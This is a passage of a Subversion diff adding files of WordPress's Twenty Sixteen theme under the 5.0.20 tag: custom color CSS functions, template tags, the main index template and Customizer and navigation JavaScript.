+	$default_color   = $color_scheme[2];
+	$link_color = get_theme_mod( 'link_color', $default_color );
+
+	// Don't do anything if the current color is the default.
+	if ( $link_color === $default_color ) {
+		return;
+	}
+
+	$css = '
+		/* Custom Link Color */
+		.menu-toggle:hover,
+		.menu-toggle:focus,
+		a,
+		.main-navigation a:hover,
+		.main-navigation a:focus,
+		.dropdown-toggle:hover,
+		.dropdown-toggle:focus,
+		.social-navigation a:hover:before,
+		.social-navigation a:focus:before,
+		.post-navigation a:hover .post-title,
+		.post-navigation a:focus .post-title,
+		.tagcloud a:hover,
+		.tagcloud a:focus,
+		.site-branding .site-title a:hover,
+		.site-branding .site-title a:focus,
+		.entry-title a:hover,
+		.entry-title a:focus,
+		.entry-footer a:hover,
+		.entry-footer a:focus,
+		.comment-metadata a:hover,
+		.comment-metadata a:focus,
+		.pingback .comment-edit-link:hover,
+		.pingback .comment-edit-link:focus,
+		.comment-reply-link,
+		.comment-reply-link:hover,
+		.comment-reply-link:focus,
+		.required,
+		.site-info a:hover,
+		.site-info a:focus {
+			color: %1$s;
+		}
+
+		mark,
+		ins,
+		button:hover,
+		button:focus,
+		input[type="button"]:hover,
+		input[type="button"]:focus,
+		input[type="reset"]:hover,
+		input[type="reset"]:focus,
+		input[type="submit"]:hover,
+		input[type="submit"]:focus,
+		.pagination .prev:hover,
+		.pagination .prev:focus,
+		.pagination .next:hover,
+		.pagination .next:focus,
+		.widget_calendar tbody a,
+		.page-links a:hover,
+		.page-links a:focus {
+			background-color: %1$s;
+		}
+
+		input[type="date"]:focus,
+		input[type="time"]:focus,
+		input[type="datetime-local"]:focus,
+		input[type="week"]:focus,
+		input[type="month"]:focus,
+		input[type="text"]:focus,
+		input[type="email"]:focus,
+		input[type="url"]:focus,
+		input[type="password"]:focus,
+		input[type="search"]:focus,
+		input[type="tel"]:focus,
+		input[type="number"]:focus,
+		textarea:focus,
+		.tagcloud a:hover,
+		.tagcloud a:focus,
+		.menu-toggle:hover,
+		.menu-toggle:focus {
+			border-color: %1$s;
+		}
+
+		@media screen and (min-width: 56.875em) {
+			.main-navigation li:hover > a,
+			.main-navigation li.focus > a {
+				color: %1$s;
+			}
+		}
+	';
+
+	wp_add_inline_style( 'twentysixteen-style', sprintf( $css, $link_color ) );
+}
+add_action( 'wp_enqueue_scripts', 'twentysixteen_link_color_css', 11 );
+
+/**
+ * Enqueues front-end CSS for the main text color.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @see wp_add_inline_style()
+ */
+function twentysixteen_main_text_color_css() {
+	$color_scheme    = twentysixteen_get_color_scheme();
+	$default_color   = $color_scheme[3];
+	$main_text_color = get_theme_mod( 'main_text_color', $default_color );
+
+	// Don't do anything if the current color is the default.
+	if ( $main_text_color === $default_color ) {
+		return;
+	}
+
+	// Convert main text hex color to rgba.
+	$main_text_color_rgb = twentysixteen_hex2rgb( $main_text_color );
+
+	// If the rgba values are empty return early.
+	if ( empty( $main_text_color_rgb ) ) {
+		return;
+	}
+
+	// If we get this far, we have a custom color scheme.
+	$border_color = vsprintf( 'rgba( %1$s, %2$s, %3$s, 0.2)', $main_text_color_rgb );
+
+	$css = '
+		/* Custom Main Text Color */
+		body,
+		blockquote cite,
+		blockquote small,
+		.main-navigation a,
+		.menu-toggle,
+		.dropdown-toggle,
+		.social-navigation a,
+		.post-navigation a,
+		.pagination a:hover,
+		.pagination a:focus,
+		.widget-title a,
+		.site-branding .site-title a,
+		.entry-title a,
+		.page-links > .page-links-title,
+		.comment-author,
+		.comment-reply-title small a:hover,
+		.comment-reply-title small a:focus {
+			color: %1$s
+		}
+
+		blockquote,
+		.menu-toggle.toggled-on,
+		.menu-toggle.toggled-on:hover,
+		.menu-toggle.toggled-on:focus,
+		.post-navigation,
+		.post-navigation div + div,
+		.pagination,
+		.widget,
+		.page-header,
+		.page-links a,
+		.comments-title,
+		.comment-reply-title {
+			border-color: %1$s;
+		}
+
+		button,
+		button[disabled]:hover,
+		button[disabled]:focus,
+		input[type="button"],
+		input[type="button"][disabled]:hover,
+		input[type="button"][disabled]:focus,
+		input[type="reset"],
+		input[type="reset"][disabled]:hover,
+		input[type="reset"][disabled]:focus,
+		input[type="submit"],
+		input[type="submit"][disabled]:hover,
+		input[type="submit"][disabled]:focus,
+		.menu-toggle.toggled-on,
+		.menu-toggle.toggled-on:hover,
+		.menu-toggle.toggled-on:focus,
+		.pagination:before,
+		.pagination:after,
+		.pagination .prev,
+		.pagination .next,
+		.page-links a {
+			background-color: %1$s;
+		}
+
+		/* Border Color */
+		fieldset,
+		pre,
+		abbr,
+		acronym,
+		table,
+		th,
+		td,
+		input[type="date"],
+		input[type="time"],
+		input[type="datetime-local"],
+		input[type="week"],
+		input[type="month"],
+		input[type="text"],
+		input[type="email"],
+		input[type="url"],
+		input[type="password"],
+		input[type="search"],
+		input[type="tel"],
+		input[type="number"],
+		textarea,
+		.main-navigation li,
+		.main-navigation .primary-menu,
+		.menu-toggle,
+		.dropdown-toggle:after,
+		.social-navigation a,
+		.image-navigation,
+		.comment-navigation,
+		.tagcloud a,
+		.entry-content,
+		.entry-summary,
+		.page-links a,
+		.page-links > span,
+		.comment-list article,
+		.comment-list .pingback,
+		.comment-list .trackback,
+		.comment-reply-link,
+		.no-comments,
+		.widecolumn .mu_register .mu_alert {
+			border-color: %1$s; /* Fallback for IE7 and IE8 */
+			border-color: %2$s;
+		}
+
+		hr,
+		code {
+			background-color: %1$s; /* Fallback for IE7 and IE8 */
+			background-color: %2$s;
+		}
+
+		@media screen and (min-width: 56.875em) {
+			.main-navigation ul ul,
+			.main-navigation ul ul li {
+				border-color: %2$s;
+			}
+
+			.main-navigation ul ul:before {
+				border-top-color: %2$s;
+				border-bottom-color: %2$s;
+			}
+		}
+	';
+
+	wp_add_inline_style( 'twentysixteen-style', sprintf( $css, $main_text_color, $border_color ) );
+}
+add_action( 'wp_enqueue_scripts', 'twentysixteen_main_text_color_css', 11 );
+
+/**
+ * Enqueues front-end CSS for the secondary text color.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @see wp_add_inline_style()
+ */
+function twentysixteen_secondary_text_color_css() {
+	$color_scheme    = twentysixteen_get_color_scheme();
+	$default_color   = $color_scheme[4];
+	$secondary_text_color = get_theme_mod( 'secondary_text_color', $default_color );
+
+	// Don't do anything if the current color is the default.
+	if ( $secondary_text_color === $default_color ) {
+		return;
+	}
+
+	$css = '
+		/* Custom Secondary Text Color */
+
+		/**
+		 * IE8 and earlier will drop any block with CSS3 selectors.
+		 * Do not combine these styles with the next block.
+		 */
+		body:not(.search-results) .entry-summary {
+			color: %1$s;
+		}
+
+		blockquote,
+		.post-password-form label,
+		a:hover,
+		a:focus,
+		a:active,
+		.post-navigation .meta-nav,
+		.image-navigation,
+		.comment-navigation,
+		.widget_recent_entries .post-date,
+		.widget_rss .rss-date,
+		.widget_rss cite,
+		.site-description,
+		.author-bio,
+		.entry-footer,
+		.entry-footer a,
+		.sticky-post,
+		.taxonomy-description,
+		.entry-caption,
+		.comment-metadata,
+		.pingback .edit-link,
+		.comment-metadata a,
+		.pingback .comment-edit-link,
+		.comment-form label,
+		.comment-notes,
+		.comment-awaiting-moderation,
+		.logged-in-as,
+		.form-allowed-tags,
+		.site-info,
+		.site-info a,
+		.wp-caption .wp-caption-text,
+		.gallery-caption,
+		.widecolumn label,
+		.widecolumn .mu_register label {
+			color: %1$s;
+		}
+
+		.widget_calendar tbody a:hover,
+		.widget_calendar tbody a:focus {
+			background-color: %1$s;
+		}
+	';
+
+	wp_add_inline_style( 'twentysixteen-style', sprintf( $css, $secondary_text_color ) );
+}
+add_action( 'wp_enqueue_scripts', 'twentysixteen_secondary_text_color_css', 11 );
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/inc/template-tags.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/inc/template-tags.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/inc/template-tags.php	(revision 56912)
@@ -0,0 +1,254 @@
+<?php
+/**
+ * Custom Twenty Sixteen template tags
+ *
+ * Eventually, some of the functionality here could be replaced by core features.
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+
+if ( ! function_exists( 'twentysixteen_entry_meta' ) ) :
+/**
+ * Prints HTML with meta information for the categories, tags.
+ *
+ * Create your own twentysixteen_entry_meta() function to override in a child theme.
+ *
+ * @since Twenty Sixteen 1.0
+ */
+function twentysixteen_entry_meta() {
+	if ( 'post' === get_post_type() ) {
+		$author_avatar_size = apply_filters( 'twentysixteen_author_avatar_size', 49 );
+		printf( '<span class="byline"><span class="author vcard">%1$s<span class="screen-reader-text">%2$s </span> <a class="url fn n" href="%3$s">%4$s</a></span></span>',
+			get_avatar( get_the_author_meta( 'user_email' ), $author_avatar_size ),
+			_x( 'Author', 'Used before post author name.', 'twentysixteen' ),
+			esc_url( get_author_posts_url( get_the_author_meta( 'ID' ) ) ),
+			get_the_author()
+		);
+	}
+
+	if ( in_array( get_post_type(), array( 'post', 'attachment' ) ) ) {
+		twentysixteen_entry_date();
+	}
+
+	$format = get_post_format();
+	if ( current_theme_supports( 'post-formats', $format ) ) {
+		printf( '<span class="entry-format">%1$s<a href="%2$s">%3$s</a></span>',
+			sprintf( '<span class="screen-reader-text">%s </span>', _x( 'Format', 'Used before post format.', 'twentysixteen' ) ),
+			esc_url( get_post_format_link( $format ) ),
+			get_post_format_string( $format )
+		);
+	}
+
+	if ( 'post' === get_post_type() ) {
+		twentysixteen_entry_taxonomies();
+	}
+
+	if ( ! is_singular() && ! post_password_required() && ( comments_open() || get_comments_number() ) ) {
+		echo '<span class="comments-link">';
+		comments_popup_link( sprintf( __( 'Leave a comment<span class="screen-reader-text"> on %s</span>', 'twentysixteen' ), get_the_title() ) );
+		echo '</span>';
+	}
+}
+endif;
+
+if ( ! function_exists( 'twentysixteen_entry_date' ) ) :
+/**
+ * Prints HTML with date information for current post.
+ *
+ * Create your own twentysixteen_entry_date() function to override in a child theme.
+ *
+ * @since Twenty Sixteen 1.0
+ */
+function twentysixteen_entry_date() {
+	$time_string = '<time class="entry-date published updated" datetime="%1$s">%2$s</time>';
+
+	if ( get_the_time( 'U' ) !== get_the_modified_time( 'U' ) ) {
+		$time_string = '<time class="entry-date published" datetime="%1$s">%2$s</time><time class="updated" datetime="%3$s">%4$s</time>';
+	}
+
+	$time_string = sprintf( $time_string,
+		esc_attr( get_the_date( 'c' ) ),
+		get_the_date(),
+		esc_attr( get_the_modified_date( 'c' ) ),
+		get_the_modified_date()
+	);
+
+	printf( '<span class="posted-on"><span class="screen-reader-text">%1$s </span><a href="%2$s" rel="bookmark">%3$s</a></span>',
+		_x( 'Posted on', 'Used before publish date.', 'twentysixteen' ),
+		esc_url( get_permalink() ),
+		$time_string
+	);
+}
+endif;
+
+if ( ! function_exists( 'twentysixteen_entry_taxonomies' ) ) :
+/**
+ * Prints HTML with category and tags for current post.
+ *
+ * Create your own twentysixteen_entry_taxonomies() function to override in a child theme.
+ *
+ * @since Twenty Sixteen 1.0
+ */
+function twentysixteen_entry_taxonomies() {
+	$categories_list = get_the_category_list( _x( ', ', 'Used between list items, there is a space after the comma.', 'twentysixteen' ) );
+	if ( $categories_list && twentysixteen_categorized_blog() ) {
+		printf( '<span class="cat-links"><span class="screen-reader-text">%1$s </span>%2$s</span>',
+			_x( 'Categories', 'Used before category names.', 'twentysixteen' ),
+			$categories_list
+		);
+	}
+
+	$tags_list = get_the_tag_list( '', _x( ', ', 'Used between list items, there is a space after the comma.', 'twentysixteen' ) );
+	if ( $tags_list && ! is_wp_error( $tags_list ) ) {
+		printf( '<span class="tags-links"><span class="screen-reader-text">%1$s </span>%2$s</span>',
+			_x( 'Tags', 'Used before tag names.', 'twentysixteen' ),
+			$tags_list
+		);
+	}
+}
+endif;
+
+if ( ! function_exists( 'twentysixteen_post_thumbnail' ) ) :
+/**
+ * Displays an optional post thumbnail.
+ *
+ * Wraps the post thumbnail in an anchor element on index views, or a div
+ * element when on single views.
+ *
+ * Create your own twentysixteen_post_thumbnail() function to override in a child theme.
+ *
+ * @since Twenty Sixteen 1.0
+ */
+function twentysixteen_post_thumbnail() {
+	if ( post_password_required() || is_attachment() || ! has_post_thumbnail() ) {
+		return;
+	}
+
+	if ( is_singular() ) :
+	?>
+
+	<div class="post-thumbnail">
+		<?php the_post_thumbnail(); ?>
+	</div><!-- .post-thumbnail -->
+
+	<?php else : ?>
+
+	<a class="post-thumbnail" href="<?php the_permalink(); ?>" aria-hidden="true">
+		<?php the_post_thumbnail( 'post-thumbnail', array( 'alt' => the_title_attribute( 'echo=0' ) ) ); ?>
+	</a>
+
+	<?php endif; // End is_singular()
+}
+endif;
+
+if ( ! function_exists( 'twentysixteen_excerpt' ) ) :
+	/**
+	 * Displays the optional excerpt.
+	 *
+	 * Wraps the excerpt in a div element.
+	 *
+	 * Create your own twentysixteen_excerpt() function to override in a child theme.
+	 *
+	 * @since Twenty Sixteen 1.0
+	 *
+	 * @param string $class Optional. Class string of the div element. Defaults to 'entry-summary'.
+	 */
+	function twentysixteen_excerpt( $class = 'entry-summary' ) {
+		$class = esc_attr( $class );
+
+		if ( has_excerpt() || is_search() ) : ?>
+			<div class="<?php echo $class; ?>">
+				<?php the_excerpt(); ?>
+			</div><!-- .<?php echo $class; ?> -->
+		<?php endif;
+	}
+endif;
+
+if ( ! function_exists( 'twentysixteen_excerpt_more' ) && ! is_admin() ) :
+/**
+ * Replaces "[...]" (appended to automatically generated excerpts) with ... and
+ * a 'Continue reading' link.
+ *
+ * Create your own twentysixteen_excerpt_more() function to override in a child theme.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @return string 'Continue reading' link prepended with an ellipsis.
+ */
+function twentysixteen_excerpt_more() {
+	$link = sprintf( '<a href="%1$s" class="more-link">%2$s</a>',
+		esc_url( get_permalink( get_the_ID() ) ),
+		/* translators: %s: Name of current post */
+		sprintf( __( 'Continue reading<span class="screen-reader-text"> "%s"</span>', 'twentysixteen' ), get_the_title( get_the_ID() ) )
+	);
+	return ' &hellip; ' . $link;
+}
+add_filter( 'excerpt_more', 'twentysixteen_excerpt_more' );
+endif;
+
+if ( ! function_exists( 'twentysixteen_categorized_blog' ) ) :
+/**
+ * Determines whether blog/site has more than one category.
+ *
+ * Create your own twentysixteen_categorized_blog() function to override in a child theme.
+ *
+ * @since Twenty Sixteen 1.0
+ *
+ * @return bool True if there is more than one category, false otherwise.
+ */
+function twentysixteen_categorized_blog() {
+	if ( false === ( $all_the_cool_cats = get_transient( 'twentysixteen_categories' ) ) ) {
+		// Create an array of all the categories that are attached to posts.
+		$all_the_cool_cats = get_categories( array(
+			'fields'     => 'ids',
+			// We only need to know if there is more than one category.
+			'number'     => 2,
+		) );
+
+		// Count the number of categories that are attached to the posts.
+		$all_the_cool_cats = count( $all_the_cool_cats );
+
+		set_transient( 'twentysixteen_categories', $all_the_cool_cats );
+	}
+
+	if ( $all_the_cool_cats > 1 || is_preview() ) {
+		// This blog has more than 1 category so twentysixteen_categorized_blog should return true.
+		return true;
+	} else {
+		// This blog has only 1 category so twentysixteen_categorized_blog should return false.
+		return false;
+	}
+}
+endif;
+
+/**
+ * Flushes out the transients used in twentysixteen_categorized_blog().
+ *
+ * @since Twenty Sixteen 1.0
+ */
+function twentysixteen_category_transient_flusher() {
+	if ( defined( 'DOING_AUTOSAVE' ) && DOING_AUTOSAVE ) {
+		return;
+	}
+	// Like, beat it. Dig?
+	delete_transient( 'twentysixteen_categories' );
+}
+add_action( 'edit_category', 'twentysixteen_category_transient_flusher' );
+add_action( 'save_post',     'twentysixteen_category_transient_flusher' );
+
+if ( ! function_exists( 'twentysixteen_the_custom_logo' ) ) :
+/**
+ * Displays the optional custom logo.
+ *
+ * Does nothing if the custom logo is not available.
+ *
+ * @since Twenty Sixteen 1.2
+ */
+function twentysixteen_the_custom_logo() {
+	if ( function_exists( 'the_custom_logo' ) ) {
+		the_custom_logo();
+	}
+}
+endif;
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/index.php
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/index.php	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/index.php	(revision 56912)
@@ -0,0 +1,62 @@
+<?php
+/**
+ * The main template file
+ *
+ * This is the most generic template file in a WordPress theme
+ * and one of the two required files for a theme (the other being style.css).
+ * It is used to display a page when nothing more specific matches a query.
+ * E.g., it puts together the home page when no home.php file exists.
+ *
+ * @link https://codex.wordpress.org/Template_Hierarchy
+ *
+ * @package WordPress
+ * @subpackage Twenty_Sixteen
+ * @since Twenty Sixteen 1.0
+ */
+
+get_header(); ?>
+
+	<div id="primary" class="content-area">
+		<main id="main" class="site-main" role="main">
+
+		<?php if ( have_posts() ) : ?>
+
+			<?php if ( is_home() && ! is_front_page() ) : ?>
+				<header>
+					<h1 class="page-title screen-reader-text"><?php single_post_title(); ?></h1>
+				</header>
+			<?php endif; ?>
+
+			<?php
+			// Start the loop.
+			while ( have_posts() ) : the_post();
+
+				/*
+				 * Include the Post-Format-specific template for the content.
+				 * If you want to override this in a child theme, then include a file
+				 * called content-___.php (where ___ is the Post Format name) and that will be used instead.
+				 */
+				get_template_part( 'template-parts/content', get_post_format() );
+
+			// End the loop.
+			endwhile;
+
+			// Previous/next page navigation.
+			the_posts_pagination( array(
+				'prev_text'          => __( 'Previous page', 'twentysixteen' ),
+				'next_text'          => __( 'Next page', 'twentysixteen' ),
+				'before_page_number' => '<span class="meta-nav screen-reader-text">' . __( 'Page', 'twentysixteen' ) . ' </span>',
+			) );
+
+		// If no content, include the "No posts found" template.
+		else :
+			get_template_part( 'template-parts/content', 'none' );
+
+		endif;
+		?>
+
+		</main><!-- .site-main -->
+	</div><!-- .content-area -->
+
+<?php get_sidebar(); ?>
+<?php get_footer(); ?>
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/js/color-scheme-control.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/js/color-scheme-control.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/js/color-scheme-control.js	(revision 56912)
@@ -0,0 +1,96 @@
+/* global colorScheme, Color */
+/**
+ * Add a listener to the Color Scheme control to update other color controls to new values/defaults.
+ * Also trigger an update of the Color Scheme CSS when a color is changed.
+ */
+
+( function( api ) {
+	var cssTemplate = wp.template( 'twentysixteen-color-scheme' ),
+		colorSchemeKeys = [
+			'background_color',
+			'page_background_color',
+			'link_color',
+			'main_text_color',
+			'secondary_text_color'
+		],
+		colorSettings = [
+			'background_color',
+			'page_background_color',
+			'link_color',
+			'main_text_color',
+			'secondary_text_color'
+		];
+
+	api.controlConstructor.select = api.Control.extend( {
+		ready: function() {
+			if ( 'color_scheme' === this.id ) {
+				this.setting.bind( 'change', function( value ) {
+					var colors = colorScheme[value].colors;
+
+					// Update Background Color.
+					var color = colors[0];
+					api( 'background_color' ).set( color );
+					api.control( 'background_color' ).container.find( '.color-picker-hex' )
+						.data( 'data-default-color', color )
+						.wpColorPicker( 'defaultColor', color );
+
+					// Update Page Background Color.
+					color = colors[1];
+					api( 'page_background_color' ).set( color );
+					api.control( 'page_background_color' ).container.find( '.color-picker-hex' )
+						.data( 'data-default-color', color )
+						.wpColorPicker( 'defaultColor', color );
+
+					// Update Link Color.
+					color = colors[2];
+					api( 'link_color' ).set( color );
+					api.control( 'link_color' ).container.find( '.color-picker-hex' )
+						.data( 'data-default-color', color )
+						.wpColorPicker( 'defaultColor', color );
+
+					// Update Main Text Color.
+					color = colors[3];
+					api( 'main_text_color' ).set( color );
+					api.control( 'main_text_color' ).container.find( '.color-picker-hex' )
+						.data( 'data-default-color', color )
+						.wpColorPicker( 'defaultColor', color );
+
+					// Update Secondary Text Color.
+					color = colors[4];
+					api( 'secondary_text_color' ).set( color );
+					api.control( 'secondary_text_color' ).container.find( '.color-picker-hex' )
+						.data( 'data-default-color', color )
+						.wpColorPicker( 'defaultColor', color );
+				} );
+			}
+		}
+	} );
+
+	// Generate the CSS for the current Color Scheme.
+	function updateCSS() {
+		var scheme = api( 'color_scheme' )(),
+			css,
+			colors = _.object( colorSchemeKeys, colorScheme[ scheme ].colors );
+
+		// Merge in color scheme overrides.
+		_.each( colorSettings, function( setting ) {
+			colors[ setting ] = api( setting )();
+		} );
+
+		// Add additional color.
+		// jscs:disable
+		colors.border_color = Color( colors.main_text_color ).toCSS( 'rgba', 0.2 );
+		// jscs:enable
+
+		css = cssTemplate( colors );
+
+		api.previewer.send( 'update-color-scheme-css', css );
+	}
+
+	// Update the CSS whenever a color setting is changed.
+	_.each( colorSettings, function( setting ) {
+		api( setting, function( setting ) {
+			setting.bind( updateCSS );
+		} );
+	} );
+} )( wp.customize );
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/js/customize-preview.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/js/customize-preview.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/js/customize-preview.js	(revision 56912)
@@ -0,0 +1,41 @@
+/**
+ * Live-update changed settings in real time in the Customizer preview.
+ */
+
+( function( $ ) {
+	var style = $( '#twentysixteen-color-scheme-css' ),
+		api = wp.customize;
+
+	if ( ! style.length ) {
+		style = $( 'head' ).append( '<style type="text/css" id="twentysixteen-color-scheme-css" />' )
+		                    .find( '#twentysixteen-color-scheme-css' );
+	}
+
+	// Site title.
+	api( 'blogname', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-title a' ).text( to );
+		} );
+	} );
+
+	// Site tagline.
+	api( 'blogdescription', function( value ) {
+		value.bind( function( to ) {
+			$( '.site-description' ).text( to );
+		} );
+	} );
+
+	// Add custom-background-image body class when background image is added.
+	api( 'background_image', function( value ) {
+		value.bind( function( to ) {
+			$( 'body' ).toggleClass( 'custom-background-image', '' !== to );
+		} );
+	} );
+
+	// Color Scheme CSS.
+	api.bind( 'preview-ready', function() {
+		api.preview.bind( 'update-color-scheme-css', function( css ) {
+			style.html( css );
+		} );
+	} );
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/js/functions.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/js/functions.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/js/functions.js	(revision 56912)
@@ -0,0 +1,213 @@
+/* global screenReaderText */
+/**
+ * Theme functions file.
+ *
+ * Contains handlers for navigation and widget area.
+ */
+
+( function( $ ) {
+	var body, masthead, menuToggle, siteNavigation, socialNavigation, siteHeaderMenu, resizeTimer;
+
+	function initMainNavigation( container ) {
+
+		// Add dropdown toggle that displays child menu items.
+		var dropdownToggle = $( '<button />', {
+			'class': 'dropdown-toggle',
+			'aria-expanded': false
+		} ).append( $( '<span />', {
+			'class': 'screen-reader-text',
+			text: screenReaderText.expand
+		} ) );
+
+		container.find( '.menu-item-has-children > a' ).after( dropdownToggle );
+
+		// Toggle buttons and submenu items with active children menu items.
+		container.find( '.current-menu-ancestor > button' ).addClass( 'toggled-on' );
+		container.find( '.current-menu-ancestor > .sub-menu' ).addClass( 'toggled-on' );
+
+		// Add menu items with submenus to aria-haspopup="true".
+		container.find( '.menu-item-has-children' ).attr( 'aria-haspopup', 'true' );
+
+		container.find( '.dropdown-toggle' ).click( function( e ) {
+			var _this            = $( this ),
+				screenReaderSpan = _this.find( '.screen-reader-text' );
+
+			e.preventDefault();
+			_this.toggleClass( 'toggled-on' );
+			_this.next( '.children, .sub-menu' ).toggleClass( 'toggled-on' );
+
+			// jscs:disable
+			_this.attr( 'aria-expanded', _this.attr( 'aria-expanded' ) === 'false' ? 'true' : 'false' );
+			// jscs:enable
+			screenReaderSpan.text( screenReaderSpan.text() === screenReaderText.expand ? screenReaderText.collapse : screenReaderText.expand );
+		} );
+	}
+	initMainNavigation( $( '.main-navigation' ) );
+
+	masthead         = $( '#masthead' );
+	menuToggle       = masthead.find( '#menu-toggle' );
+	siteHeaderMenu   = masthead.find( '#site-header-menu' );
+	siteNavigation   = masthead.find( '#site-navigation' );
+	socialNavigation = masthead.find( '#social-navigation' );
+
+	// Enable menuToggle.
+	( function() {
+
+		// Return early if menuToggle is missing.
+		if ( ! menuToggle.length ) {
+			return;
+		}
+
+		// Add an initial values for the attribute.
+		menuToggle.add( siteNavigation ).add( socialNavigation ).attr( 'aria-expanded', 'false' );
+
+		menuToggle.on( 'click.twentysixteen', function() {
+			$( this ).add( siteHeaderMenu ).toggleClass( 'toggled-on' );
+
+			// jscs:disable
+			$( this ).add( siteNavigation ).add( socialNavigation ).attr( 'aria-expanded', $( this ).add( siteNavigation ).add( socialNavigation ).attr( 'aria-expanded' ) === 'false' ? 'true' : 'false' );
+			// jscs:enable
+		} );
+	} )();
+
+	// Fix sub-menus for touch devices and better focus for hidden submenu items for accessibility.
+	( function() {
+		if ( ! siteNavigation.length || ! siteNavigation.children().length ) {
+			return;
+		}
+
+		// Toggle `focus` class to allow submenu access on tablets.
+		function toggleFocusClassTouchScreen() {
+			if ( window.innerWidth >= 910 ) {
+				$( document.body ).on( 'touchstart.twentysixteen', function( e ) {
+					if ( ! $( e.target ).closest( '.main-navigation li' ).length ) {
+						$( '.main-navigation li' ).removeClass( 'focus' );
+					}
+				} );
+				siteNavigation.find( '.menu-item-has-children > a' ).on( 'touchstart.twentysixteen', function( e ) {
+					var el = $( this ).parent( 'li' );
+
+					if ( ! el.hasClass( 'focus' ) ) {
+						e.preventDefault();
+						el.toggleClass( 'focus' );
+						el.siblings( '.focus' ).removeClass( 'focus' );
+					}
+				} );
+			} else {
+				siteNavigation.find( '.menu-item-has-children > a' ).unbind( 'touchstart.twentysixteen' );
+			}
+		}
+
+		if ( 'ontouchstart' in window ) {
+			$( window ).on( 'resize.twentysixteen', toggleFocusClassTouchScreen );
+			toggleFocusClassTouchScreen();
+		}
+
+		siteNavigation.find( 'a' ).on( 'focus.twentysixteen blur.twentysixteen', function() {
+			$( this ).parents( '.menu-item' ).toggleClass( 'focus' );
+		} );
+	} )();
+
+	// Add the default ARIA attributes for the menu toggle and the navigations.
+	function onResizeARIA() {
+		if ( window.innerWidth < 910 ) {
+			if ( menuToggle.hasClass( 'toggled-on' ) ) {
+				menuToggle.attr( 'aria-expanded', 'true' );
+			} else {
+				menuToggle.attr( 'aria-expanded', 'false' );
+			}
+
+			if ( siteHeaderMenu.hasClass( 'toggled-on' ) ) {
+				siteNavigation.attr( 'aria-expanded', 'true' );
+				socialNavigation.attr( 'aria-expanded', 'true' );
+			} else {
+				siteNavigation.attr( 'aria-expanded', 'false' );
+				socialNavigation.attr( 'aria-expanded', 'false' );
+			}
+
+			menuToggle.attr( 'aria-controls', 'site-navigation social-navigation' );
+		} else {
+			menuToggle.removeAttr( 'aria-expanded' );
+			siteNavigation.removeAttr( 'aria-expanded' );
+			socialNavigation.removeAttr( 'aria-expanded' );
+			menuToggle.removeAttr( 'aria-controls' );
+		}
+	}
+
+	// Add 'below-entry-meta' class to elements.
+	function belowEntryMetaClass( param ) {
+		if ( body.hasClass( 'page' ) || body.hasClass( 'search' ) || body.hasClass( 'single-attachment' ) || body.hasClass( 'error404' ) ) {
+			return;
+		}
+
+		$( '.entry-content' ).find( param ).each( function() {
+			var element              = $( this ),
+				elementPos           = element.offset(),
+				elementPosTop        = elementPos.top,
+				entryFooter          = element.closest( 'article' ).find( '.entry-footer' ),
+				entryFooterPos       = entryFooter.offset(),
+				entryFooterPosBottom = entryFooterPos.top + ( entryFooter.height() + 28 ),
+				caption              = element.closest( 'figure' ),
+				figcaption           = element.next( 'figcaption' ),
+				newImg;
+
+			// Add 'below-entry-meta' to elements below the entry meta.
+			if ( elementPosTop > entryFooterPosBottom ) {
+
+				// Check if full-size images and captions are larger than or equal to 840px.
+				if ( 'img.size-full' === param || '.wp-block-image img' === param ) {
+
+					// Create an image to find native image width of resized images (i.e. max-width: 100%).
+					newImg = new Image();
+					newImg.src = element.attr( 'src' );
+
+					$( newImg ).on( 'load.twentysixteen', function() {
+						if ( newImg.width >= 840 ) {
+
+							// Check if an image in an image block has a width attribute; if its value is less than 840, return.
+							if ( '.wp-block-image img' === param && element.is( '[width]' ) && element.attr( 'width' ) < 840 ) {
+								return;
+							}
+
+							element.addClass( 'below-entry-meta' );
+
+							if ( caption.hasClass( 'wp-caption' ) ) {
+								caption.addClass( 'below-entry-meta' );
+								caption.removeAttr( 'style' );
+							}
+
+							if ( figcaption ) {
+								figcaption.addClass( 'below-entry-meta' );
+							}
+						}
+					} );
+				} else {
+					element.addClass( 'below-entry-meta' );
+				}
+			} else {
+				element.removeClass( 'below-entry-meta' );
+				caption.removeClass( 'below-entry-meta' );
+			}
+		} );
+	}
+
+	$( document ).ready( function() {
+		body = $( document.body );
+
+		$( window )
+			.on( 'load.twentysixteen', onResizeARIA )
+			.on( 'resize.twentysixteen', function() {
+				clearTimeout( resizeTimer );
+				resizeTimer = setTimeout( function() {
+					belowEntryMetaClass( 'img.size-full' );
+					belowEntryMetaClass( 'blockquote.alignleft, blockquote.alignright' );
+					belowEntryMetaClass( '.wp-block-image img' );
+				}, 300 );
+				onResizeARIA();
+			} );
+
+		belowEntryMetaClass( 'img.size-full' );
+		belowEntryMetaClass( 'blockquote.alignleft, blockquote.alignright' );
+		belowEntryMetaClass( '.wp-block-image img' );
+	} );
+} )( jQuery );
Index: /tags/5.0.20/src/wp-content/themes/twentysixteen/js/html5.js
===================================================================
--- /tags/5.0.20/src/wp-content/themes/twentysixteen/js/html5.js	(revision 56912)
+++ /tags/5.0.20/src/wp-content/themes/twentysixteen/js/html5.js	(revision 56912)
@@ -0,0 +1,326 @@
+/**
